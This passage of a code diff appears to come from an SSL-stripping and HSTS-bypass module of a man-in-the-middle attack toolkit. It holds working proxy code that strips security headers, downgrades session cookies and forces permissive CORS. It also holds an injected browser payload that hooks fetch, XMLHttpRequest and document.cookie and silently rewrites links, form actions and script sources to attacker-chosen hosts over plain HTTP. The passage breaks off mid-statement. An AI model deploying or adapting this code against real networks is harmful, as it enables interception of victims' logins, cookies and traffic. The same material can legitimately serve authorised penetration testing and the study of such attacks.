+ cookie.sameSite = "";
+ cookie.secure = false;
+ cookie.partitioned = false;
+ cookie.httpOnly = false;
+ cookie.name = cookie.name
+ .replace(rx_cookie_host_prefix, cookie_host_prefix)
+ .replace(rx_cookie_secure_prefix, cookie_secure_prefix);
+ }
+ if (typeof cookie.domain === "string" && cookie.domain !== "") {
+ var selector_string = cookie.domain[0] === "."
+ ? "*" + cookie.domain : cookie.domain;
+ if (selector_string[0] === "*") {
+ for (a = 0; a < target_hosts.length; a++) {
+ if (selector_string === target_hosts[a]) {
+ cookie.domain = replacement_hosts[a].slice(1);
+ break;
+ } else {
+ rx_sets_whole_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_target_hosts[a][0].test("a" + cookie.domain)) {
+ cookie.domain = ("a" + cookie.domain).replace(
+ rx_sets_whole_target_hosts[a][0],
+ rx_sets_whole_target_hosts[a][1]);
+ cookie.domain = cookie.domain.slice(1);
+ break;
+ }
+ }
+ }
+ } else {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_whole_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_target_hosts[a][0].test(selector_string)) {
+ cookie.domain = cookie.domain.replace(
+ rx_sets_whole_target_hosts[a][0],
+ rx_sets_whole_target_hosts[a][1]);
+ break;
+ }
+ }
+ }
+ }
+ res.Headers = res.Headers.replace(
+ cookie_string,
+ cookieToResponseHeaderValue(cookie));
+ });
+
+ /* Remove security headers. */
+ res.Headers = res.Headers
+ .replace(rx_header_csp, "")
+ .replace(rx_header_cspro, "")
+ .replace(rx_header_corp, "");
+ res.RemoveHeader("Strict-Transport-Security");
+ res.RemoveHeader("Public-Key-Pins");
+ res.RemoveHeader("Public-Key-Pins-Report-Only");
+ res.RemoveHeader("X-Frame-Options");
+ res.RemoveHeader("X-Content-Type-Options");
+ res.RemoveHeader("X-Download-Options");
+ res.RemoveHeader("X-Permitted-Cross-Domain-Policies");
+ res.RemoveHeader("X-XSS-Protection");
+ res.RemoveHeader("Expect-Ct");
+
+ /* Set insecure headers. */
+ allowed_origin = res.GetHeader("Access-Control-Allow-Origin", "*");
+ if (allowed_origin !== "*") {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_global_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_target_hosts[a][0].test(allowed_origin)) {
+ allowed_origin = allowed_origin.replace(
+ rx_sets_global_target_hosts[a][0],
+ rx_sets_global_target_hosts[a][1]);
+ break;
+ }
+ }
+ } else {
+ var request_origin = req.GetHeader("origin", "");
+ if (request_origin !== "") {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_global_target_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_target_hosts[a][0].test(request_origin)) {
+ allowed_origin = request_origin
+ .replace(rx_scheme_http_https_colon, "$1:")
+ .replace(
+ rx_sets_global_target_hosts[a][0],
+ rx_sets_global_target_hosts[a][1]);
+ break;
+ }
+ }
+ }
+ }
+// res.SetHeader("Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src-elem * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
+// res.SetHeader("X-WebKit-CSP", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src-elem * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
+// res.SetHeader("X-Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src-elem * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
+ res.SetHeader("Access-Control-Allow-Credentials", "true");
+ res.SetHeader("Access-Control-Allow-Origin", allowed_origin);
+ res.SetHeader("Access-Control-Allow-Methods", "*");
+ res.SetHeader("Access-Control-Allow-Headers", "*");
+ res.SetHeader("Cross-Origin-Embedder-Policy", "unsafe-none");
+ res.SetHeader("Cross-Origin-Opener-Policy", "unsafe-none");
+ /* Spoof preflight headers. */
+ if (req.Method === "OPTIONS") {
+ var requested_headers = req.GetHeader("Access-Control-Request-Headers", "");
+ if (requested_headers !== "")
+ res.SetHeader("Access-Control-Allow-Headers", requested_headers);
+ }
+ res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate");
+ res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT");
+ res.SetHeader("Pragma", "no-cache");
+ }
+}
+
diff --git a/hstshijack/payloads/hijack.js b/hstshijack/payloads/hijack.js
index 4239c76..a1bb941 100644
--- a/hstshijack/payloads/hijack.js
+++ b/hstshijack/payloads/hijack.js
@@ -1,276 +1,464 @@
-/*
- Hooks XMLHttpRequest.open and fetch, as well as 'a', 'form', 'script' and 'iframe' nodes.
- This payload is essential for hostname replacements.
+(async () => {
+ const obf_hstshijack_rx_one = /\-/g,
+ obf_hstshijack_rx_two = /^\*./,
+ obf_hstshijack_rx_three = /^\*\./,
+ obf_hstshijack_rx_four = /\./g,
+ obf_hstshijack_rx_five = /^\*\./,
+ obf_hstshijack_rx_six = /\.\*$/,
+ obf_hstshijack_rx_seven = /\.\*/g,
+ obf_hstshijack_rx_eight = /^((?:[a-z0-9.+-]{1,256}[:])(?:[/][/])?|(?:[a-z0-9.+-]{1,256}[:])?[/][/])?.*$/i,
+ obf_hstshijack_rx_nine = /^((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.){1,63}(?:[a-z]{1,63})|(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9]))?.*$/i,
+ obf_hstshijack_rx_ten = /^([:](?:6553[0-5]|655[0-2][0-9]|65[0-4][0-9][0-9]|6[0-4][0-9][0-9][0-9]|[0-5][0-9][0-9][0-9][0-9]|[1-9][0-9]{0,3}))?.*$/i,
+ obf_hstshijack_rx_eleven = /^([^?#]{1,2048})?.*$/i,
+ obf_hstshijack_rx_twelve = /^([?][^#]{0,2048})?.*$/i,
+ obf_hstshijack_rx_thirteen = /^\s*(.*)\s*$/g,
+ obf_hstshijack_rx_fourteen = /^\s*(?:http[s]?:)?\/\/[^:/?#]+/i,
+ obf_hstshijack_rx_fifteen = /(http)s:\/\//i,
+ obf_hstshijack_rx_sixteen = /^:443$/,
+ obf_hstshijack_rx_seventeen = /^(?:about|data|file|geo|javascript|tel):$/i,
+ obf_hstshijack_rx_eighteen = /=['"]?(?:http[s]?:)?\/\/[a-z0-9-.]+/ig,
+ obf_hstshijack_rx_nineteen = /^.*\/\//,
+ obf_hstshijack_rx_cookie_host_prefix = /^__Host-/ig,
+ obf_hstshijack_rx_cookie_secure_prefix = /^__Secure-/ig,
+ obf_hstshijack_rx_cookie_downgrade = /;\s*(?:httponly|partitioned|samesite|secure)(?:=[^;]+)?/ig,
+ obf_hstshijack_rx_cookie_domain = /;\s*domain=([^;\s]+)/i;
- Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and
- 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module
- loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts'
- are already declared before this is injected.
-*/
+ const obf_hstshijack_xhrOpen = XMLHttpRequest.prototype.open,
+ obf_hstshijack_XMLHttpRequest = new XMLHttpRequest(),
+ obf_hstshijack_fetch = globalThis.fetch,
+ obf_hstshijack_callback_log = [],
+ obf_hstshijack_innerHtmlSetter = Object.getOwnPropertyDescriptor(Element.prototype, "innerHTML").set,
+ obf_hstshijack_outerHtmlSetter = Object.getOwnPropertyDescriptor(Element.prototype, "outerHTML").set,
+ obf_hstshijack_scriptSrcSetter = Object.getOwnPropertyDescriptor(HTMLScriptElement.prototype, "src").set,
+ obf_hstshijack_linkHrefSetter = Object.getOwnPropertyDescriptor(HTMLLinkElement.prototype, "href").set;
-(function(){
- "use strict";
+ const obf_hstshijack_mutation_observer = new MutationObserver(function(obf_hstshijack_mutations) {
+ obf_hstshijack_mutations.forEach(function(obf_hstshijack_mutation) {
+ if (obf_hstshijack_mutation.type === "childList") {
+ obf_hstshijack_mutation.addedNodes.forEach(function(obf_hstshijack_node) {
+ switch (obf_hstshijack_node.tagName) {
+ case "A" || "LINK":
+ if (obf_hstshijack_node.href) {
+ var obf_hstshijack_url = obf_hstshijack_node.href;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_node.href = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ case "FORM":
+ if (obf_hstshijack_node.action) {
+ var obf_hstshijack_url = obf_hstshijack_node.action;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_node.action = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ case "SCRIPT" || "FRAME":
+ if (obf_hstshijack_node.src) {
+ var obf_hstshijack_url = obf_hstshijack_node.src;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_node.src = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ }
+ });
+ } else if (obf_hstshijack_mutation.type === "attributes") {
+ switch (obf_hstshijack_mutation.target.tagName) {
+ case "A" || "LINK":
+ if (obf_hstshijack_mutation.attributeName === "href") {
+ var obf_hstshijack_url = obf_hstshijack_mutation.target.href;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_mutation.target.href = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ case "FORM":
+ if (obf_hstshijack_mutation.attributeName === "action") {
+ var obf_hstshijack_url = obf_hstshijack_mutation.target.action;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_mutation.target.action = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ case "SCRIPT" || "IFRAME":
+ if (obf_hstshijack_mutation.attributeName === "src") {
+ var obf_hstshijack_url = obf_hstshijack_mutation.target.src;
+ if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) {
+ var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) {
+ obf_hstshijack_mutation.target.src = obf_hstshijack_hijacked_url;
+ }
+ }
+ }
+ break;
+ }
+ }
+ });
+ });
- var obf_hstshijack_var_regex_one = /\-/g,
- obf_hstshijack_var_regex_two = /^\*./,
- obf_hstshijack_var_regex_three = /^\*\./,
- obf_hstshijack_var_regex_four = /\./g,
- obf_hstshijack_var_regex_five = /^\*\./,
- obf_hstshijack_var_regex_six = /\.\*$/,
- obf_hstshijack_var_regex_seven = /\.\*/g,
- obf_hstshijack_var_regex_eight = /^((?:[a-z0-9.+-]{1,256}[:])(?:[/][/])?|(?:[a-z0-9.+-]{1,256}[:])?[/][/])?.*$/i,
- obf_hstshijack_var_regex_nine = /^((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.){1,63}(?:[a-z]{1,63})|(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9]))?.*$/i,
- obf_hstshijack_var_regex_ten = /^([:](?:6553[0-5]|655[0-2][0-9]|65[0-4][0-9][0-9]|6[0-4][0-9][0-9][0-9]|[0-5][0-9][0-9][0-9][0-9]|[1-9][0-9]{0,3}))?.*$/i,
- obf_hstshijack_var_regex_eleven = /^([^?#]{1,2048})?.*$/i,
- obf_hstshijack_var_regex_twelve = /^([?][^#]{0,2048})?.*$/i,
- obf_hstshijack_var_regex_thirteen = /^\s*(.*)\s*$/g;
+ const obf_hstshijack_trimLeadingAndTrailingWhitespaces = obf_hstshijack_str => {
+ return obf_hstshijack_str.replace(obf_hstshijack_rx_thirteen, "$1");
+ };
- var obf_hstshijack_func_open = XMLHttpRequest.prototype.open,
- obf_hstshijack_var_XMLHttpRequest = new XMLHttpRequest(),
- obf_hstshijack_func_fetch = globalThis.fetch,
- obf_hstshijack_var_callback_log = [];
+ const obf_hstshijack_toWholeRegexpSet = (obf_hstshijack_selector_string, obf_hstshijack_replacement_string) => {
+ if (obf_hstshijack_selector_string.indexOf("*") != -1) {
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_one, "\\-");
+ if (obf_hstshijack_rx_two.test(obf_hstshijack_selector_string)) {
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_three, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_four, "\\.");
+ obf_hstshijack_replacement_string = obf_hstshijack_replacement_string.replace(
+ obf_hstshijack_rx_five, "");
+ return [
+ new RegExp("^" + obf_hstshijack_selector_string + "$", "ig"),
+ "$1" + obf_hstshijack_replacement_string
+ ];
+ } else if (obf_hstshijack_rx_six.test(obf_hstshijack_selector_string)) {
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_seven, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace(
+ obf_hstshijack_rx_four, "\\.");
+ obf_hstshijack_replacement_string = obf_hstshijack_replacement_string.replace(
+ obf_hstshijack_rx_six, "");
+ return [
+ new RegExp(obf_hstshijack_selector_string, "ig"),
+ obf_hstshijack_replacement_string + "$1"
+ ];
+ }
+ } else {
+ obf_hstshijack_selector_string = obf_hstshijack_selector_string
+ .replace(obf_hstshijack_rx_four, "\\.")
+ .replace(/\-/g, "\\-");
+ return [
+ new RegExp("^" + obf_hstshijack_selector_string + "$", "ig"),
+ obf_hstshijack_replacement_string
+ ];
+ }
+ };
- function obf_hstshijack_func_trimLeadingAndTrailingWhitespaces(obf_hstshijack_var_str) {
- return obf_hstshijack_var_str.replace(obf_hstshijack_var_regex_thirteen, "$1");
- }
+ const obf_hstshijack_parseURL = obf_hstshijack_url => {
+ if (typeof obf_hstshijack_url !== "string") return obf_hstshijack_url;
+ var obf_hstshijack_sliceLength = 0;
+ var obf_hstshijack_strippedURL = obf_hstshijack_trimLeadingAndTrailingWhitespaces(obf_hstshijack_url);
+ var obf_hstshijack_retval = ["","","","","",""];
+ /* obf_protocol */
+ obf_hstshijack_retval[0] = obf_hstshijack_strippedURL.replace(obf_hstshijack_rx_eight, "$1");
+ var obf_hstshijack_protocol = obf_hstshijack_retval[0].toLowerCase();
+ if (obf_hstshijack_protocol.length !== 0) {
+ if (obf_hstshijack_rx_seventeen.test(obf_hstshijack_protocol)) {
+ obf_hstshijack_retval[3] = obf_hstshijack_strippedURL.slice(obf_hstshijack_protocol.length);
+ return obf_hstshijack_retval;
+ }
+ /* obf_host */
+ obf_hstshijack_retval[1] = obf_hstshijack_strippedURL.slice(obf_hstshijack_protocol).replace(
+ obf_hstshijack_rx_nine, "$1");
+ }
+ /* obf_port */
+ obf_hstshijack_sliceLength = obf_hstshijack_protocol.length + obf_hstshijack_retval[1].length;
+ obf_hstshijack_retval[2] = obf_hstshijack_strippedURL.slice(obf_hstshijack_sliceLength).replace(
+ obf_hstshijack_rx_ten, "$1");
+ /* obf_path */
+ obf_hstshijack_sliceLength = obf_hstshijack_sliceLength + obf_hstshijack_retval[2].length;
+ obf_hstshijack_retval[3] = obf_hstshijack_strippedURL.slice(obf_hstshijack_sliceLength).replace(
+ obf_hstshijack_rx_eleven, "$1");
+ /* obf_search */
+ obf_hstshijack_sliceLength = obf_hstshijack_sliceLength + obf_hstshijack_retval[3].length;
+ obf_hstshijack_retval[4] = obf_hstshijack_strippedURL.slice(obf_hstshijack_sliceLength).replace(
+ obf_hstshijack_rx_twelve, "$1");
+ /* obf_hash */
+ obf_hstshijack_retval[5] = obf_hstshijack_strippedURL.slice(
+ obf_hstshijack_sliceLength + obf_hstshijack_retval[4].length);
+ return obf_hstshijack_retval;
+ };
- function obf_hstshijack_func_toWholeRegexpSet(obf_hstshijack_var_selector_string, obf_hstshijack_var_replacement_string) {
- if (obf_hstshijack_var_selector_string.indexOf("*") != -1) {
- obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_one, "\\-");
- if (obf_hstshijack_var_selector_string.match(obf_hstshijack_var_regex_two)) {
- var obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_three, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"),
- obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_four, "\\."),
- obf_hstshijack_var_replacement_string = obf_hstshijack_var_replacement_string.replace(obf_hstshijack_var_regex_five, "");
- return [
- new RegExp("^" + obf_hstshijack_var_selector_string + "$", "ig"),
- "$1" + obf_hstshijack_var_replacement_string
- ];
- } else if (obf_hstshijack_var_selector_string.match(obf_hstshijack_var_regex_six)) {
- var obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_seven, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"),
- obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_four, "\\."),
- obf_hstshijack_var_replacement_string = obf_hstshijack_var_replacement_string.replace(obf_hstshijack_var_regex_six, "");
- return [
- new RegExp(obf_hstshijack_var_selector_string, "ig"),
- obf_hstshijack_var_replacement_string + "$1"
- ];
- }
- } else {
- var obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_four, "\\."),
- obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(/\-/g, "\\-");
- return [
- new RegExp("^" + obf_hstshijack_var_selector_string + "$", "ig"),
- obf_hstshijack_var_replacement_string
- ];
- }
- }
+ const obf_hstshijack_sendCallback = obf_hstshijack_host => {
+ if (obf_hstshijack_callback_log.indexOf(obf_hstshijack_host) !== -1) {
+ return;
+ }
+ obf_hstshijack_callback_log.push(obf_hstshijack_host);
+ var obf_hstshijack_url = location.origin + "/obf_path_ssl_log?" + obf_hstshijack_host;
+ if (obf_hstshijack_fetch) {
+ obf_hstshijack_fetch(obf_hstshijack_url)
+ } else {
+ var obf_hstshijack_request = new obf_hstshijack_XMLHttpRequest();
+ obf_hstshijack_request.open("GET", obf_hstshijack_url, true);
+ obf_hstshijack_request.send();
+ }
+ };
- function obf_hstshijack_func_parseURL(obf_hstshijack_var_url) {
- var obf_hstshijack_var_sliceLength = 0;
- var obf_hstshijack_var_strippedURL = obf_hstshijack_func_trimLeadingAndTrailingWhitespaces(obf_hstshijack_var_url);
- var obf_hstshijack_var_retval = ["","","","","",""];
- /* obf_hstshijack_protocol */
- obf_hstshijack_var_retval[0] = obf_hstshijack_var_strippedURL.replace(obf_hstshijack_var_regex_eight, "$1");
- var obf_hstshijack_var_protocol = obf_hstshijack_var_retval[0].toLowerCase();
- if (obf_hstshijack_var_protocol.length !== 0) {
- if (
- obf_hstshijack_var_protocol === "about:"
- || obf_hstshijack_var_protocol === "data:"
- || obf_hstshijack_var_protocol === "file:"
- || obf_hstshijack_var_protocol === "geo:"
- || obf_hstshijack_var_protocol === "javascript:"
- || obf_hstshijack_var_protocol === "tel:"
- ) {
- obf_hstshijack_var_retval[3] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_retval[0].length);
- return obf_hstshijack_var_retval;
- }
- /* obf_hstshijack_host */
- obf_hstshijack_var_retval[1] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_retval[0].length).replace(obf_hstshijack_var_regex_nine, "$1");
- }
- /* obf_hstshijack_port */
- obf_hstshijack_var_sliceLength = obf_hstshijack_var_retval[0].length + obf_hstshijack_var_retval[1].length;
- obf_hstshijack_var_retval[2] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength).replace(obf_hstshijack_var_regex_ten, "$1");
- /* obf_hstshijack_path */
- obf_hstshijack_var_sliceLength = obf_hstshijack_var_sliceLength + obf_hstshijack_var_retval[2].length;
- obf_hstshijack_var_retval[3] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength).replace(obf_hstshijack_var_regex_eleven, "$1");
- /* obf_hstshijack_search */
- obf_hstshijack_var_sliceLength = obf_hstshijack_var_sliceLength + obf_hstshijack_var_retval[3].length;
- obf_hstshijack_var_retval[4] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength).replace(obf_hstshijack_var_regex_twelve, "$1");
- /* obf_hstshijack_hash */
- obf_hstshijack_var_retval[5] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength + obf_hstshijack_var_retval[4].length);
- return obf_hstshijack_var_retval;
- }
+ const obf_hstshijack_hijackHost = obf_hstshijack_host => {
+ for (
+ let obf_hstshijack_i = 0;
+ obf_hstshijack_i < obf_hstshijack_target_hosts.length;
+ obf_hstshijack_i++
+ ) {
+ const obf_hstshijack_whole_rx_set = obf_hstshijack_toWholeRegexpSet(
+ obf_hstshijack_target_hosts[obf_hstshijack_i],
+ obf_hstshijack_replacement_hosts[obf_hstshijack_i]);
+ obf_hstshijack_whole_rx_set[0].lastIndex = 0;
+ if (obf_hstshijack_whole_rx_set[0].test(obf_hstshijack_host)) {
+ obf_hstshijack_host = obf_hstshijack_host.replace(
+ obf_hstshijack_whole_rx_set[0], obf_hstshijack_whole_rx_set[1]);
+ break;
+ }
+ }
+ return obf_hstshijack_host;
+ };
- function obf_hstshijack_func_callback(obf_hstshijack_var_host) {
- for (
- var obf_hstshijack_var_i = 0;
- obf_hstshijack_var_i < obf_hstshijack_var_callback_log.length;
- obf_hstshijack_var_i++
- ) {
- if (obf_hstshijack_var_callback_log[i] == obf_hstshijack_var_host) {
- return;
- }
- }
- obf_hstshijack_var_callback_log.push(obf_hstshijack_var_host);
- obf_hstshijack_func_fetch(location.origin + "/obf_hstshijack_path_ssl_log?" + obf_hstshijack_var_host)
- }
+ const obf_hstshijack_hijackUrl = obf_hstshijack_url => {
+ const obf_hstshijack_parsed_url = obf_hstshijack_parseURL(obf_hstshijack_url);
+ const obf_hstshijack_host = obf_hstshijack_parsed_url[1];
+ const obf_hstshijack_hijacked_host = obf_hstshijack_hijackHost(obf_hstshijack_host);
+ if (obf_hstshijack_hijacked_host !== obf_hstshijack_host) {
+ obf_hstshijack_parsed_url[1] = obf_hstshijack_hijacked_host;
+ const obf_hstshijack_protocol = obf_hstshijack_parsed_url[0];
+ if (obf_hstshijack_rx_fifteen.test(obf_hstshijack_protocol)) {
+ obf_hstshijack_parsed_url[0] = obf_hstshijack_protocol.replace(
+ obf_hstshijack_rx_fifteen, "$1://");
+ }
+ if (obf_hstshijack_rx_sixteen.test(obf_hstshijack_parsed_url[2])) {
+ obf_hstshijack_parsed_url[2] = "";
+ }
+ return obf_hstshijack_parsed_url.join("");
+ }
+ return obf_hstshijack_url;
+ };
- function obf_hstshijack_func_hijack(obf_hstshijack_var_host) {
- for (
- var obf_hstshijack_var_i = 0;
- obf_hstshijack_var_i < obf_hstshijack_var_target_hosts.length;
- obf_hstshijack_var_i++
- ) {
- var obf_hstshijack_var_whole_regexp_set = obf_hstshijack_func_toWholeRegexpSet(
- obf_hstshijack_var_target_hosts[obf_hstshijack_var_i],
- obf_hstshijack_var_replacement_hosts[obf_hstshijack_var_i]);
- if (obf_hstshijack_var_host.match(obf_hstshijack_var_whole_regexp_set[0])) {
- obf_hstshijack_var_host = obf_hstshijack_var_host.replace(
- obf_hstshijack_var_whole_regexp_set[0],
- obf_hstshijack_var_whole_regexp_set[1]);
- break;
- }
- }
- return obf_hstshijack_var_host;
- }
+ const obf_hstshijack_hijackHtml = obf_hstshijack_html => {
+ const obf_hstshijack_url_matches = obf_hstshijack_html.match(obf_hstshijack_rx_eighteen) || [];
+ for (const obf_hstshijack_match of obf_hstshijack_url_matches) {
+ const obf_hstshijack_host = obf_hstshijack_match.replace(obf_hstshijack_rx_nineteen, "");
+ const obf_hstshijack_spoofed_host = obf_hstshijack_hijackHost(obf_hstshijack_host);
+ if (obf_hstshijack_host !== obf_hstshijack_spoofed_host) {
+ const obf_hstshijack_spoofed_html = obf_hstshijack_match.replace(
+ obf_hstshijack_host,
+ obf_hstshijack_spoofed_host);
+ obf_hstshijack_html = obf_hstshijack_html.replace(
+ obf_hstshijack_match,
+ obf_hstshijack_spoofed_html);
+ }
+ }
+ return obf_hstshijack_html;
+ };
- function obf_hstshijack_func_hook_XMLHttpRequest() {
- XMLHttpRequest.prototype.open = function(
- obf_hstshijack_var_method,
- obf_hstshijack_var_url,
- obf_hstshijack_var_async,
- obf_hstshijack_var_username,
- obf_hstshijack_var_password
- ) {
- var obf_hstshijack_var_parsed_url = obf_hstshijack_func_parseURL(obf_hstshijack_var_url),
- obf_hstshijack_var_hijacked_host = obf_hstshijack_func_hijack(obf_hstshijack_var_parsed_url[1]);
- if (obf_hstshijack_var_hijacked_host != obf_hstshijack_var_parsed_url[1]) {
- if (obf_hstshijack_var_parsed_url[0].toLowerCase() === "https://") {
- obf_hstshijack_var_parsed_url[0] = obf_hstshijack_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://");
- }
- if (obf_hstshijack_var_parsed_url[2] === ":443") {
- obf_hstshijack_var_parsed_url[2] = "";
- }
- }
- obf_hstshijack_var_url = obf_hstshijack_var_parsed_url[0] +
- obf_hstshijack_var_hijacked_host +
- obf_hstshijack_var_parsed_url[2] +
- obf_hstshijack_var_parsed_url[3] +
- obf_hstshijack_var_parsed_url[4] +
- obf_hstshijack_var_parsed_url[5];
- return obf_hstshijack_func_open.apply(this, arguments);
- }
- }
+ const obf_hstshijack_hookCookieGetterAndSetter = async () => {
+ const obf_hstshijack_sleep = obf_hstshijack_ms => new Promise(obf_hstshijack_res => setTimeout(obf_hstshijack_res, obf_hstshijack_ms));
+ while (document === undefined) await obf_hstshijack_sleep(0);
+ const obf_hstshijack_originalCookieGetter = Object.getOwnPropertyDescriptor(Document.prototype, "cookie").get,
+ obf_hstshijack_originalCookieSetter = Object.getOwnPropertyDescriptor(Document.prototype, "cookie").set;
+ Object.defineProperty(document, "cookie", {
+ configurable: true,
+ get: () => obf_hstshijack_originalCookieGetter.call(document)
+ .replaceAll("obf_hstshijack_cookie_host_prefix", "__Host-")
+ .replaceAll("obf_hstshijack_cookie_secure_prefix", "__Secure-"),
+ set: obf_hstshijack_value => {
+ obf_hstshijack_rx_cookie_domain.lastIndex = 0;
+ if (obf_hstshijack_rx_cookie_domain.test(obf_hstshijack_value)) {
+ const obf_hstshijack_cookie_domain = obf_hstshijack_value.match(obf_hstshijack_rx_cookie_domain)[1];
+ const obf_hstshijack_selector_string = obf_hstshijack_cookie_domain[0] === "."
+ ? "*" + obf_hstshijack_cookie_domain : obf_hstshijack_cookie_domain;
+ if (obf_hstshijack_selector_string[0] === "*") {
+ for (obf_hstshijack_a = 0; obf_hstshijack_a < obf_hstshijack_target_hosts.length; obf_hstshijack_a++) {
+ if (obf_hstshijack_selector_string === obf_hstshijack_target_hosts[obf_hstshijack_a]) {
+ obf_hstshijack_value = obf_hstshijack_value.replace(
+ obf_hstshijack_cookie_domain,
